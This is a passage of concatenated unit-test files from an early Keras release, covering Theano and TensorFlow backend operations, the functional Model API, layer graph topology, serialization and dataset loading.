        kernel_val = np.random.random(kernel_shape) - 0.5

        kernel_th = KTH.variable(convert_kernel(kernel_val, dim_ordering='tf'))
        kernel_tf = KTF.variable(kernel_val)

        zth = KTH.eval(KTH.conv3d(xth, kernel_th, dim_ordering='tf'))
        ztf = KTF.eval(KTF.conv3d(xtf, kernel_tf, dim_ordering='tf'))

        assert zth.shape == ztf.shape
        assert_allclose(zth, ztf, atol=1e-05)

    def test_pool2d(self):
        check_single_tensor_operation('pool2d', (5, 3, 10, 12), pool_size=(2, 2),
                                      strides=(1, 1), border_mode='valid')

        check_single_tensor_operation('pool2d', (5, 3, 9, 11), pool_size=(2, 2),
                                      strides=(1, 1), border_mode='valid')

        check_single_tensor_operation('pool2d', (5, 3, 9, 11), pool_size=(2, 3),
                                      strides=(1, 1), border_mode='valid')

    def test_pool3d(self):
        check_single_tensor_operation('pool3d', (5, 3, 10, 12, 5), pool_size=(2, 2, 2),
                                      strides=(1, 1, 1), border_mode='valid')

        check_single_tensor_operation('pool3d', (5, 3, 9, 11, 5), pool_size=(2, 2, 2),
                                      strides=(1, 1, 1), border_mode='valid')

        check_single_tensor_operation('pool3d', (5, 3, 9, 11, 5), pool_size=(2, 3, 2),
                                      strides=(1, 1, 1), border_mode='valid')

    def test_random_normal(self):
        mean = 0.
        std = 1.
        rand = KTF.eval(KTF.random_normal((1000, 1000), mean=mean, std=std))
        assert(rand.shape == (1000, 1000))
        assert(np.abs(np.mean(rand) - mean) < 0.01)
        assert(np.abs(np.std(rand) - std) < 0.01)

        rand = KTH.eval(KTH.random_normal((1000, 1000), mean=mean, std=std))
        assert(rand.shape == (1000, 1000))
        assert(np.abs(np.mean(rand) - mean) < 0.01)
        assert(np.abs(np.std(rand) - std) < 0.01)

    def test_random_uniform(self):
        min = -1.
        max = 1.
        rand = KTF.eval(KTF.random_uniform((1000, 1000), min, max))
        assert(rand.shape == (1000, 1000))
        assert(np.abs(np.mean(rand)) < 0.01)
        assert(np.max(rand) <= max)
        assert(np.min(rand) >= min)

        rand = KTH.eval(KTH.random_uniform((1000, 1000), min, max))
        assert(rand.shape == (1000, 1000))
        assert(np.abs(np.mean(rand)) < 0.01)
        assert(np.max(rand) <= max)
        assert(np.min(rand) >= min)

    def test_random_binomial(self):
        p = 0.5
        rand = KTF.eval(KTF.random_binomial((1000, 1000), p))
        assert(rand.shape == (1000, 1000))
        assert(np.abs(np.mean(rand) - p) < 0.01)
        assert(np.max(rand) == 1)
        assert(np.min(rand) == 0)

        rand = KTH.eval(KTH.random_binomial((1000, 1000), p))
        assert(rand.shape == (1000, 1000))
        assert(np.abs(np.mean(rand) - p) < 0.01)
        assert(np.max(rand) == 1)
        assert(np.min(rand) == 0)

    def test_ctc(self):
        # simplified version of TensorFlow's test

        label_lens = np.expand_dims(np.asarray([5, 4]), 1)
        input_lens = np.expand_dims(np.asarray([5, 5]), 1)  # number of timesteps

        # the Theano and Tensorflow CTC code use different methods to ensure
        # numerical stability.  The Theano code subtracts out the max
        # before the final log, so the results are different but scale
        # identically and still train properly
        loss_log_probs_tf = [3.34211, 5.42262]
        loss_log_probs_th = [1.73308, 3.81351]

        # dimensions are batch x time x categories
        labels = np.asarray([[0, 1, 2, 1, 0], [0, 1, 1, 0, -1]])
        inputs = np.asarray(
            [[[0.633766, 0.221185, 0.0917319, 0.0129757, 0.0142857, 0.0260553],
              [0.111121, 0.588392, 0.278779, 0.0055756, 0.00569609, 0.010436],
              [0.0357786, 0.633813, 0.321418, 0.00249248, 0.00272882, 0.0037688],
              [0.0663296, 0.643849, 0.280111, 0.00283995, 0.0035545, 0.00331533],
              [0.458235, 0.396634, 0.123377, 0.00648837, 0.00903441, 0.00623107]],
             [[0.30176, 0.28562, 0.0831517, 0.0862751, 0.0816851, 0.161508],
              [0.24082, 0.397533, 0.0557226, 0.0546814, 0.0557528, 0.19549],
              [0.230246, 0.450868, 0.0389607, 0.038309, 0.0391602, 0.202456],
              [0.280884, 0.429522, 0.0326593, 0.0339046, 0.0326856, 0.190345],
              [0.423286, 0.315517, 0.0338439, 0.0393744, 0.0339315, 0.154046]]],
            dtype=np.float32)

        labels_tf = KTF.variable(labels, dtype="int32")
        inputs_tf = KTF.variable(inputs, dtype="float32")
        input_lens_tf = KTF.variable(input_lens, dtype="int32")
        label_lens_tf = KTF.variable(label_lens, dtype="int32")
        res = KTF.eval(KTF.ctc_batch_cost(labels_tf, inputs_tf, input_lens_tf, label_lens_tf))
        assert_allclose(res[:, 0], loss_log_probs_tf, atol=1e-05)

        labels_th = KTH.variable(labels, dtype="int32")
        inputs_th = KTH.variable(inputs, dtype="float32")
        input_lens_th = KTH.variable(input_lens, dtype="int32")
        label_lens_th = KTH.variable(label_lens, dtype="int32")
        res = KTH.eval(KTH.ctc_batch_cost(labels_th, inputs_th, input_lens_th, label_lens_th))
        assert_allclose(res[0, :], loss_log_probs_th, atol=1e-05)

    def test_one_hot(self):
        input_length = 10
        nb_classes = 20
        batch_size = 30
        indices = np.random.randint(0, nb_classes, size=(batch_size, input_length))
        oh = np.eye(nb_classes)[indices]
        for K in [KTH, KTF]:
            koh = K.eval(K.one_hot(K.variable(indices, dtype='int32'), nb_classes))
            assert np.all(koh == oh)


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import numpy as np
from numpy.testing import assert_allclose

from keras.layers import Dense, Dropout
from keras.engine.topology import merge, Input
from keras.engine.training import Model
from keras.models import Sequential, Graph
from keras import backend as K
from keras.utils.test_utils import keras_test


@keras_test
def test_model_methods():
    a = Input(shape=(3,), name='input_a')
    b = Input(shape=(3,), name='input_b')

    a_2 = Dense(4, name='dense_1')(a)
    dp = Dropout(0.5, name='dropout')
    b_2 = dp(b)

    model = Model([a, b], [a_2, b_2])

    optimizer = 'rmsprop'
    loss = 'mse'
    loss_weights = [1., 0.5]
    model.compile(optimizer, loss, metrics=[], loss_weights=loss_weights,
                  sample_weight_mode=None)

    input_a_np = np.random.random((10, 3))
    input_b_np = np.random.random((10, 3))

    output_a_np = np.random.random((10, 4))
    output_b_np = np.random.random((10, 3))

    # test train_on_batch
    out = model.train_on_batch([input_a_np, input_b_np],
                               [output_a_np, output_b_np])
    out = model.train_on_batch({'input_a': input_a_np, 'input_b': input_b_np},
                               [output_a_np, output_b_np])
    out = model.train_on_batch({'input_a': input_a_np, 'input_b': input_b_np},
                               {'dense_1': output_a_np, 'dropout': output_b_np})

    # test fit
    out = model.fit([input_a_np, input_b_np],
                    [output_a_np, output_b_np], nb_epoch=1, batch_size=4)
    out = model.fit({'input_a': input_a_np, 'input_b': input_b_np},
                    [output_a_np, output_b_np], nb_epoch=1, batch_size=4)
    out = model.fit({'input_a': input_a_np, 'input_b': input_b_np},
                    {'dense_1': output_a_np, 'dropout': output_b_np},
                    nb_epoch=1, batch_size=4)

    # test validation_split
    out = model.fit([input_a_np, input_b_np],
                    [output_a_np, output_b_np],
                    nb_epoch=1, batch_size=4, validation_split=0.5)
    out = model.fit({'input_a': input_a_np, 'input_b': input_b_np},
                    [output_a_np, output_b_np],
                    nb_epoch=1, batch_size=4, validation_split=0.5)
    out = model.fit({'input_a': input_a_np, 'input_b': input_b_np},
                    {'dense_1': output_a_np, 'dropout': output_b_np},
                    nb_epoch=1, batch_size=4, validation_split=0.5)

    # test validation data
    out = model.fit([input_a_np, input_b_np],
                    [output_a_np, output_b_np],
                    nb_epoch=1, batch_size=4,
                    validation_data=([input_a_np, input_b_np], [output_a_np, output_b_np]))
    out = model.fit({'input_a': input_a_np, 'input_b': input_b_np},
                    [output_a_np, output_b_np],
                    nb_epoch=1, batch_size=4, validation_split=0.5,
                    validation_data=({'input_a': input_a_np, 'input_b': input_b_np}, [output_a_np, output_b_np]))
    out = model.fit({'input_a': input_a_np, 'input_b': input_b_np},
                    {'dense_1': output_a_np, 'dropout': output_b_np},
                    nb_epoch=1, batch_size=4, validation_split=0.5,
                    validation_data=({'input_a': input_a_np, 'input_b': input_b_np}, {'dense_1': output_a_np, 'dropout': output_b_np}))

    # test_on_batch
    out = model.test_on_batch([input_a_np, input_b_np],
                              [output_a_np, output_b_np])
    out = model.test_on_batch({'input_a': input_a_np, 'input_b': input_b_np},
                              [output_a_np, output_b_np])
    out = model.test_on_batch({'input_a': input_a_np, 'input_b': input_b_np},
                              {'dense_1': output_a_np, 'dropout': output_b_np})

    # predict_on_batch
    out = model.predict_on_batch([input_a_np, input_b_np])
    out = model.predict_on_batch({'input_a': input_a_np, 'input_b': input_b_np})

    # predict, evaluate
    input_a_np = np.random.random((10, 3))
    input_b_np = np.random.random((10, 3))

    output_a_np = np.random.random((10, 4))
    output_b_np = np.random.random((10, 3))

    out = model.evaluate([input_a_np, input_b_np], [output_a_np, output_b_np], batch_size=4)
    out = model.predict([input_a_np, input_b_np], batch_size=4)

    # with sample_weight
    input_a_np = np.random.random((10, 3))
    input_b_np = np.random.random((10, 3))

    output_a_np = np.random.random((10, 4))
    output_b_np = np.random.random((10, 3))

    sample_weight = [None, np.random.random((10,))]
    out = model.train_on_batch([input_a_np, input_b_np],
                               [output_a_np, output_b_np],
                               sample_weight=sample_weight)

    out = model.test_on_batch([input_a_np, input_b_np],
                              [output_a_np, output_b_np],
                              sample_weight=sample_weight)

    # test accuracy metric
    model.compile(optimizer, loss, metrics=['acc'],
                  sample_weight_mode=None)

    out = model.train_on_batch([input_a_np, input_b_np],
                               [output_a_np, output_b_np])
    assert len(out) == 5
    out = model.test_on_batch([input_a_np, input_b_np],
                              [output_a_np, output_b_np])
    assert len(out) == 5

    # this should also work
    model.compile(optimizer, loss, metrics={'dense_1': 'acc'},
                  sample_weight_mode=None)

    out = model.train_on_batch([input_a_np, input_b_np],
                               [output_a_np, output_b_np])
    assert len(out) == 4
    out = model.test_on_batch([input_a_np, input_b_np],
                              [output_a_np, output_b_np])
    assert len(out) == 4

    # and this as well
    model.compile(optimizer, loss, metrics={'dense_1': ['acc']},
                  sample_weight_mode=None)

    out = model.train_on_batch([input_a_np, input_b_np],
                               [output_a_np, output_b_np])
    assert len(out) == 4
    out = model.test_on_batch([input_a_np, input_b_np],
                              [output_a_np, output_b_np])
    assert len(out) == 4

    # test with a custom metric function
    mse = lambda y_true, y_pred: K.mean(K.pow(y_true - y_pred, 2))
    model.compile(optimizer, loss, metrics=[mse],
                  sample_weight_mode=None)

    out = model.train_on_batch([input_a_np, input_b_np],
                               [output_a_np, output_b_np])
    assert len(out) == 5
    out = model.test_on_batch([input_a_np, input_b_np],
                              [output_a_np, output_b_np])
    assert len(out) == 5

    input_a_np = np.random.random((10, 3))
    input_b_np = np.random.random((10, 3))

    output_a_np = np.random.random((10, 4))
    output_b_np = np.random.random((10, 3))

    out = model.fit([input_a_np, input_b_np], [output_a_np, output_b_np], batch_size=4, nb_epoch=1)
    out = model.evaluate([input_a_np, input_b_np], [output_a_np, output_b_np], batch_size=4)
    out = model.predict([input_a_np, input_b_np], batch_size=4)


@keras_test
def test_trainable_argument():
    x = np.random.random((5, 3))
    y = np.random.random((5, 2))

    model = Sequential()
    model.add(Dense(2, input_dim=3, trainable=False))
    model.compile('rmsprop', 'mse')
    out = model.predict(x)
    model.train_on_batch(x, y)
    out_2 = model.predict(x)
    assert_allclose(out, out_2)

    # test with nesting
    input = Input(shape=(3,))
    output = model(input)
    model = Model(input, output)
    model.compile('rmsprop', 'mse')
    out = model.predict(x)
    model.train_on_batch(x, y)
    out_2 = model.predict(x)
    assert_allclose(out, out_2)


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import json
import numpy as np

from keras.layers import Dense, Dropout, InputLayer
from keras.engine import merge, Input, get_source_inputs
from keras.models import Model
from keras import backend as K
from keras.models import model_from_json, model_from_yaml
from keras.utils.test_utils import keras_test


@keras_test
def test_learning_phase():
    a = Input(shape=(32,), name='input_a')
    b = Input(shape=(32,), name='input_b')

    a_2 = Dense(16, name='dense_1')(a)
    dp = Dropout(0.5, name='dropout')
    b_2 = dp(b)

    assert dp.uses_learning_phase

    assert not a_2._uses_learning_phase
    assert b_2._uses_learning_phase

    # test merge
    m = merge([a_2, b_2], mode='concat')
    assert m._uses_learning_phase

    # Test recursion
    model = Model([a, b], [a_2, b_2])
    print(model.input_spec)
    assert model.uses_learning_phase

    c = Input(shape=(32,), name='input_c')
    d = Input(shape=(32,), name='input_d')

    c_2, b_2 = model([c, d])
    assert c_2._uses_learning_phase
    assert b_2._uses_learning_phase

    # try actually running graph
    fn = K.function(model.inputs + [K.learning_phase()], model.outputs)
    input_a_np = np.random.random((10, 32))
    input_b_np = np.random.random((10, 32))
    fn_outputs_no_dp = fn([input_a_np, input_b_np, 0])
    fn_outputs_dp = fn([input_a_np, input_b_np, 1])
    # output a: nothing changes
    assert fn_outputs_no_dp[0].sum() == fn_outputs_dp[0].sum()
    # output b: dropout applied
    assert fn_outputs_no_dp[1].sum() != fn_outputs_dp[1].sum()


@keras_test
def test_node_construction():
    ####################################################
    # test basics

    a = Input(shape=(32,), name='input_a')
    b = Input(shape=(32,), name='input_b')

    assert a._keras_shape == (None, 32)
    a_layer, a_node_index, a_tensor_index = a._keras_history
    b_layer, b_node_index, b_tensor_index = b._keras_history
    assert len(a_layer.inbound_nodes) == 1
    assert a_tensor_index is 0
    node = a_layer.inbound_nodes[a_node_index]
    assert node.outbound_layer == a_layer

    assert type(node.inbound_layers) is list
    assert node.inbound_layers == []
    assert type(node.input_tensors) is list
    assert node.input_tensors == [a]
    assert type(node.input_masks) is list
    assert node.input_masks == [None]
    assert type(node.input_shapes) is list
    assert node.input_shapes == [(None, 32)]

    assert type(node.output_tensors) is list
    assert node.output_tensors == [a]
    assert type(node.output_shapes) is list
    assert node.output_shapes == [(None, 32)]
    assert type(node.output_masks) is list
    assert node.output_masks == [None]

    dense = Dense(16, name='dense_1')
    a_2 = dense(a)
    b_2 = dense(b)

    assert len(dense.inbound_nodes) == 2
    assert len(dense.outbound_nodes) == 0
    assert dense.inbound_nodes[0].inbound_layers == [a_layer]
    assert dense.inbound_nodes[0].outbound_layer == dense
    assert dense.inbound_nodes[1].inbound_layers == [b_layer]
    assert dense.inbound_nodes[1].outbound_layer == dense

    assert dense.inbound_nodes[0].input_tensors == [a]
    assert dense.inbound_nodes[1].input_tensors == [b]

    # test layer properties
    test_layer = Dense(16, name='test_layer')
    a_test = test_layer(a)
    assert test_layer.input == a
    assert test_layer.output == a_test
    assert test_layer.input_mask is None
    assert test_layer.output_mask is None
    assert test_layer.input_shape == (None, 32)
    assert test_layer.output_shape == (None, 16)

    with pytest.raises(Exception):
        dense.input
    with pytest.raises(Exception):
        dense.output
    with pytest.raises(Exception):
        dense.input_mask
    with pytest.raises(Exception):
        dense.output_mask

    assert dense.get_input_at(0) == a
    assert dense.get_input_at(1) == b
    assert dense.get_output_at(0) == a_2
    assert dense.get_output_at(1) == b_2
    assert dense.get_input_shape_at(0) == (None, 32)
    assert dense.get_input_shape_at(1) == (None, 32)
    assert dense.get_output_shape_at(0) == (None, 16)
    assert dense.get_output_shape_at(1) == (None, 16)
    assert dense.get_input_mask_at(0) is None
    assert dense.get_input_mask_at(1) is None
    assert dense.get_output_mask_at(0) is None
    assert dense.get_output_mask_at(1) is None


@keras_test
def test_multi_input_layer():
    ####################################################
    # test multi-input layer
    a = Input(shape=(32,), name='input_a')
    b = Input(shape=(32,), name='input_b')

    dense = Dense(16, name='dense_1')
    a_2 = dense(a)
    b_2 = dense(b)

    merged = merge([a_2, b_2], mode='concat', name='merge')
    assert merged._keras_shape == (None, 16 * 2)
    merge_layer, merge_node_index, merge_tensor_index = merged._keras_history

    assert merge_node_index == 0
    assert merge_tensor_index == 0

    assert len(merge_layer.inbound_nodes) == 1
    assert len(merge_layer.outbound_nodes) == 0

    assert len(merge_layer.inbound_nodes[0].input_tensors) == 2
    assert len(merge_layer.inbound_nodes[0].inbound_layers) == 2

    c = Dense(64, name='dense_2')(merged)
    d = Dense(5, name='dense_3')(c)

    model = Model(input=[a, b], output=[c, d], name='model')
    assert len(model.layers) == 6
    print('model.input_layers:', model.input_layers)
    print('model.input_layers_node_indices:', model.input_layers_node_indices)
    print('model.input_layers_tensor_indices:', model.input_layers_tensor_indices)
    print('model.output_layers', model.output_layers)

    print('output_shape:', model.get_output_shape_for([(None, 32), (None, 32)]))
    assert model.get_output_shape_for([(None, 32), (None, 32)]) == [(None, 64), (None, 5)]

    assert model.compute_mask([a, b], [None, None]) == [None, None]

    print('output_shape:', model.get_output_shape_for([(None, 32), (None, 32)]))
    assert model.get_output_shape_for([(None, 32), (None, 32)]) == [(None, 64), (None, 5)]

    # we don't check names of first 2 layers (inputs) because
    # ordering of same-level layers is not fixed
    print('layers:', [layer.name for layer in model.layers])
    assert [l.name for l in model.layers][2:] == ['dense_1', 'merge', 'dense_2', 'dense_3']
    print('input_layers:', [l.name for l in model.input_layers])
    assert [l.name for l in model.input_layers] == ['input_a', 'input_b']
    print('output_layers:', [l.name for l in model.output_layers])
    assert [l.name for l in model.output_layers] == ['dense_2', 'dense_3']

    # actually run model
    fn = K.function(model.inputs, model.outputs)
    input_a_np = np.random.random((10, 32))
    input_b_np = np.random.random((10, 32))
    fn_outputs = fn([input_a_np, input_b_np])
    assert [x.shape for x in fn_outputs] == [(10, 64), (10, 5)]

    # test get_source_inputs
    print(get_source_inputs(c))
    assert get_source_inputs(c) == [a, b]

    # serialization / deserialization
    json_config = model.to_json()
    recreated_model = model_from_json(json_config)
    recreated_model.compile('rmsprop', 'mse')

    print('recreated:')
    print([layer.name for layer in recreated_model.layers])
    print([layer.name for layer in recreated_model.input_layers])
    print([layer.name for layer in recreated_model.output_layers])
    assert [l.name for l in recreated_model.layers][2:] == ['dense_1', 'merge', 'dense_2', 'dense_3']
    assert [l.name for l in recreated_model.input_layers] == ['input_a', 'input_b']
    assert [l.name for l in recreated_model.output_layers] == ['dense_2', 'dense_3']

    fn = K.function(recreated_model.inputs, recreated_model.outputs)
    input_a_np = np.random.random((10, 32))
    input_b_np = np.random.random((10, 32))
    fn_outputs = fn([input_a_np, input_b_np])
    assert [x.shape for x in fn_outputs] == [(10, 64), (10, 5)]


@keras_test
def test_recursion():
    ####################################################
    # test recursion

    a = Input(shape=(32,), name='input_a')
    b = Input(shape=(32,), name='input_b')

    dense = Dense(16, name='dense_1')
    a_2 = dense(a)
    b_2 = dense(b)
    merged = merge([a_2, b_2], mode='concat', name='merge')
    c = Dense(64, name='dense_2')(merged)
    d = Dense(5, name='dense_3')(c)

    model = Model(input=[a, b], output=[c, d], name='model')

    e = Input(shape=(32,), name='input_e')
    f = Input(shape=(32,), name='input_f')
    g, h = model([e, f])

    # g2, h2 = model([e, f])

    assert g._keras_shape == c._keras_shape
    assert h._keras_shape == d._keras_shape

    # test separate manipulation of different layer outputs
    i = Dense(7, name='dense_4')(h)

    final_model = Model(input=[e, f], output=[i, g], name='final')
    assert len(final_model.inputs) == 2
    assert len(final_model.outputs) == 2
    assert len(final_model.layers) == 4

    # we don't check names of first 2 layers (inputs) because
    # ordering of same-level layers is not fixed
    print('final_model layers:', [layer.name for layer in final_model.layers])
    assert [layer.name for layer in final_model.layers][2:] == ['model', 'dense_4']

    print(model.compute_mask([e, f], [None, None]))
    assert model.compute_mask([e, f], [None, None]) == [None, None]

    print(final_model.get_output_shape_for([(10, 32), (10, 32)]))
    assert final_model.get_output_shape_for([(10, 32), (10, 32)]) == [(10, 7), (10, 64)]

    # run recursive model
    fn = K.function(final_model.inputs, final_model.outputs)
    input_a_np = np.random.random((10, 32))
    input_b_np = np.random.random((10, 32))
    fn_outputs = fn([input_a_np, input_b_np])
    assert [x.shape for x in fn_outputs] == [(10, 7), (10, 64)]

    # test serialization
    model_config = final_model.get_config()
    print(json.dumps(model_config, indent=4))
    recreated_model = Model.from_config(model_config)

    fn = K.function(recreated_model.inputs, recreated_model.outputs)
    input_a_np = np.random.random((10, 32))
    input_b_np = np.random.random((10, 32))
    fn_outputs = fn([input_a_np, input_b_np])
    assert [x.shape for x in fn_outputs] == [(10, 7), (10, 64)]

    ####################################################
    # test multi-input multi-output

    j = Input(shape=(32,), name='input_j')
    k = Input(shape=(32,), name='input_k')
    m, n = model([j, k])

    o = Input(shape=(32,), name='input_o')
    p = Input(shape=(32,), name='input_p')
    q, r = model([o, p])

    assert n._keras_shape == (None, 5)
    assert q._keras_shape == (None, 64)
    s = merge([n, q], mode='concat', name='merge_nq')
    assert s._keras_shape == (None, 64 + 5)

    # test with single output as 1-elem list
    multi_io_model = Model([j, k, o, p], [s])

    fn = K.function(multi_io_model.inputs, multi_io_model.outputs)
    fn_outputs = fn([np.random.random((10, 32)), np.random.random((10, 32)),
                     np.random.random((10, 32)), np.random.random((10, 32))])
    assert [x.shape for x in fn_outputs] == [(10, 69)]

    # test with single output as tensor
    multi_io_model = Model([j, k, o, p], s)

    fn = K.function(multi_io_model.inputs, multi_io_model.outputs)
    fn_outputs = fn([np.random.random((10, 32)), np.random.random((10, 32)),
                     np.random.random((10, 32)), np.random.random((10, 32))])
    # note that the output of the K.function will still be a 1-elem list
    assert [x.shape for x in fn_outputs] == [(10, 69)]

    # test serialization
    print('multi_io_model.layers:', multi_io_model.layers)
    print('len(model.inbound_nodes):', len(model.inbound_nodes))
    print('len(model.outbound_nodes):', len(model.outbound_nodes))
    model_config = multi_io_model.get_config()
    print(model_config)
    print(json.dumps(model_config, indent=4))
    recreated_model = Model.from_config(model_config)

    fn = K.function(recreated_model.inputs, recreated_model.outputs)
    fn_outputs = fn([np.random.random((10, 32)), np.random.random((10, 32)),
                     np.random.random((10, 32)), np.random.random((10, 32))])
    # note that the output of the K.function will still be a 1-elem list
    assert [x.shape for x in fn_outputs] == [(10, 69)]

    config = model.get_config()
    new_model = Model.from_config(config)

    model.summary()
    json_str = model.to_json()
    new_model = model_from_json(json_str)

    yaml_str = model.to_yaml()
    new_model = model_from_yaml(yaml_str)

    ####################################################
    # test invalid graphs

    # input is not an Input tensor
    j = Input(shape=(32,), name='input_j')
    j = Dense(32)(j)
    k = Input(shape=(32,), name='input_k')
    m, n = model([j, k])

    with pytest.raises(Exception):
        invalid_model = Model([j, k], [m, n])

    # disconnected graph
    j = Input(shape=(32,), name='input_j')
    k = Input(shape=(32,), name='input_k')
    m, n = model([j, k])
    with pytest.raises(Exception) as e:
        invalid_model = Model([j], [m, n])

    # redudant outputs
    j = Input(shape=(32,), name='input_j')
    k = Input(shape=(32,), name='input_k')
    m, n = model([j, k])
    # this should work lol
    # TODO: raise a warning
    invalid_model = Model([j, k], [m, n, n])

    # redundant inputs
    j = Input(shape=(32,), name='input_j')
    k = Input(shape=(32,), name='input_k')
    m, n = model([j, k])
    with pytest.raises(Exception):
        invalid_model = Model([j, k, j], [m, n])

    # i have not idea what I'm doing: garbage as inputs/outputs
    j = Input(shape=(32,), name='input_j')
    k = Input(shape=(32,), name='input_k')
    m, n = model([j, k])
    with pytest.raises(Exception):
        invalid_model = Model([j, k], [m, n, 0])

    ####################################################
    # test calling layers/models on TF tensors

    if K._BACKEND == 'tensorflow':
        import tensorflow as tf
        j = Input(shape=(32,), name='input_j')
        k = Input(shape=(32,), name='input_k')
        m, n = model([j, k])
        tf_model = Model([j, k], [m, n])

        # magic
        j_tf = tf.placeholder(dtype=K.floatx())
        k_tf = tf.placeholder(dtype=K.floatx())
        m_tf, n_tf = tf_model([j_tf, k_tf])
        assert not hasattr(m_tf, '_keras_shape')
        assert not hasattr(n_tf, '_keras_shape')
        assert K.int_shape(m_tf) == (None, 64)
        assert K.int_shape(n_tf) == (None, 5)

        # test merge
        o_tf = merge([j_tf, k_tf], mode='concat', concat_axis=1)

        # test tensor input
        x = tf.placeholder(shape=(None, 2), dtype=K.floatx())
        input_layer = InputLayer(input_tensor=x)

        x = Input(tensor=x)
        y = Dense(2)(x)


@keras_test
def test_functional_guide():
    # MNIST
    from keras.layers import Input, Dense, LSTM
    from keras.models import Model
    from keras.utils import np_utils

    # this returns a tensor
    inputs = Input(shape=(784,))

    # a layer instance is callable on a tensor, and returns a tensor
    x = Dense(64, activation='relu')(inputs)
    x = Dense(64, activation='relu')(x)
    predictions = Dense(10, activation='softmax')(x)

    # this creates a model that includes
    # the Input layer and three Dense layers
    model = Model(input=inputs, output=predictions)
    model.compile(optimizer='rmsprop',
                  loss='categorical_crossentropy',
                  metrics=['accuracy'])

    # the data, shuffled and split between tran and test sets
    X_train = np.random.random((100, 784))
    Y_train = np.random.random((100, 10))

    model.fit(X_train, Y_train, nb_epoch=2, batch_size=128)

    assert model.inputs == [inputs]
    assert model.outputs == [predictions]
    assert model.input == inputs
    assert model.output == predictions
    assert model.input_shape == (None, 784)
    assert model.output_shape == (None, 10)

    # try calling the sequential model
    inputs = Input(shape=(784,))
    new_outputs = model(inputs)
    new_model = Model(input=inputs, output=new_outputs)
    new_model.compile(optimizer='rmsprop',
                      loss='categorical_crossentropy',
                      metrics=['accuracy'])

    ##################################################
    # multi-io
    ##################################################
    tweet_a = Input(shape=(4, 25))
    tweet_b = Input(shape=(4, 25))
    # this layer can take as input a matrix
    # and will return a vector of size 64
    shared_lstm = LSTM(64)

    # when we reuse the same layer instance
    # multiple times, the weights of the layer
    # are also being reused
    # (it is effectively *the same* layer)
    encoded_a = shared_lstm(tweet_a)
    encoded_b = shared_lstm(tweet_b)

    # we can then concatenate the two vectors:
    merged_vector = merge([encoded_a, encoded_b],
                          mode='concat', concat_axis=-1)

    # and add a logistic regression on top
    predictions = Dense(1, activation='sigmoid')(merged_vector)

    # we define a trainable model linking the
    # tweet inputs to the predictions
    model = Model(input=[tweet_a, tweet_b], output=predictions)

    model.compile(optimizer='rmsprop',
                  loss='binary_crossentropy',
                  metrics=['accuracy'])
    data_a = np.random.random((1000, 4, 25))
    data_b = np.random.random((1000, 4, 25))
    labels = np.random.random((1000,))
    model.fit([data_a, data_b], labels, nb_epoch=1)

    model.summary()
    assert model.inputs == [tweet_a, tweet_b]
    assert model.outputs == [predictions]
    assert model.input == [tweet_a, tweet_b]
    assert model.output == predictions

    assert model.output == predictions
    assert model.input_shape == [(None, 4, 25), (None, 4, 25)]
    assert model.output_shape == (None, 1)

    assert shared_lstm.get_output_at(0) == encoded_a
    assert shared_lstm.get_output_at(1) == encoded_b
    assert shared_lstm.input_shape == (None, 4, 25)


@keras_test
def test_sequential_regression():
    from keras.models import Sequential, Model
    from keras.layers import Merge, Embedding, BatchNormalization, LSTM, InputLayer, Input

    # start with a basic example of using a Sequential model
    # inside the functional API
    seq = Sequential()
    seq.add(Dense(input_dim=10, output_dim=10))

    x = Input(shape=(10,))
    y = seq(x)
    model = Model(x, y)
    model.compile('rmsprop', 'mse')
    weights = model.get_weights()

    # test serialization
    config = model.get_config()
    model = Model.from_config(config)
    model.compile('rmsprop', 'mse')
    model.set_weights(weights)

    # more advanced model with multiple branches

    branch_1 = Sequential(name='branch_1')
    branch_1.add(Embedding(input_dim=100,
                           output_dim=10,
                           input_length=2,
                           name='embed_1'))
    branch_1.add(LSTM(32, name='lstm_1'))

    branch_2 = Sequential(name='branch_2')
    branch_2.add(Dense(32, input_shape=(8,), name='dense_2'))

    branch_3 = Sequential(name='branch_3')
    branch_3.add(Dense(32, input_shape=(6,), name='dense_3'))

    branch_1_2 = Sequential([Merge([branch_1, branch_2], mode='concat')], name='branch_1_2')
    branch_1_2.add(Dense(16, name='dense_1_2-0'))
    # test whether impromtu input_shape breaks the model
    branch_1_2.add(Dense(16, input_shape=(16,), name='dense_1_2-1'))

    model = Sequential([Merge([branch_1_2, branch_3], mode='concat')], name='final')
    model.add(Dense(16, name='dense_final'))
    model.compile(optimizer='rmsprop',
                  loss='categorical_crossentropy',
                  metrics=['accuracy'])

    model.summary()

    x = (100 * np.random.random((100, 2))).astype('int32')
    y = np.random.random((100, 8))
    z = np.random.random((100, 6))
    labels = np.random.random((100, 16))
    model.fit([x, y, z], labels, nb_epoch=1)

    # test if Sequential can be called in the functional API

    a = Input(shape=(2,), dtype='int32')
    b = Input(shape=(8,))
    c = Input(shape=(6,))
    o = model([a, b, c])

    outer_model = Model([a, b, c], o)
    outer_model.compile(optimizer='rmsprop',
                        loss='categorical_crossentropy',
                        metrics=['accuracy'])
    outer_model.fit([x, y, z], labels, nb_epoch=1)

    # test serialization
    config = outer_model.get_config()
    outer_model = Model.from_config(config)
    outer_model.compile(optimizer='rmsprop',
                        loss='categorical_crossentropy',
                        metrics=['accuracy'])
    outer_model.fit([x, y, z], labels, nb_epoch=1)


if __name__ == "__main__":
    pytest.main([__file__])






from __future__ import print_function
import pytest
import time
import random
from keras.datasets import cifar10, cifar100, reuters, imdb, mnist


def test_cifar():
    # only run data download tests 20% of the time
    # to speed up frequent testing
    random.seed(time.time())
    if random.random() > 0.8:
        (X_train, y_train), (X_test, y_test) = cifar10.load_data()
        (X_train, y_train), (X_test, y_test) = cifar100.load_data('fine')
        (X_train, y_train), (X_test, y_test) = cifar100.load_data('coarse')


def test_reuters():
    # only run data download tests 20% of the time
    # to speed up frequent testing
    random.seed(time.time())
    if random.random() > 0.8:
        (X_train, y_train), (X_test, y_test) = reuters.load_data()
        (X_train, y_train), (X_test, y_test) = reuters.load_data(maxlen=10)


def test_mnist():
    # only run data download tests 20% of the time
    # to speed up frequent testing
    random.seed(time.time())
    if random.random() > 0.8:
        (X_train, y_train), (X_test, y_test) = mnist.load_data()


def test_imdb():
    # only run data download tests 20% of the time
    # to speed up frequent testing
    random.seed(time.time())
    if random.random() > 0.8:
        (X_train, y_train), (X_test, y_test) = imdb.load_data()
        (X_train, y_train), (X_test, y_test) = imdb.load_data(maxlen=40)


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
import numpy as np
from numpy.testing import assert_allclose

from keras.layers.core import Dense, Activation
from keras.utils.test_utils import layer_test, keras_test
from keras.layers import normalization
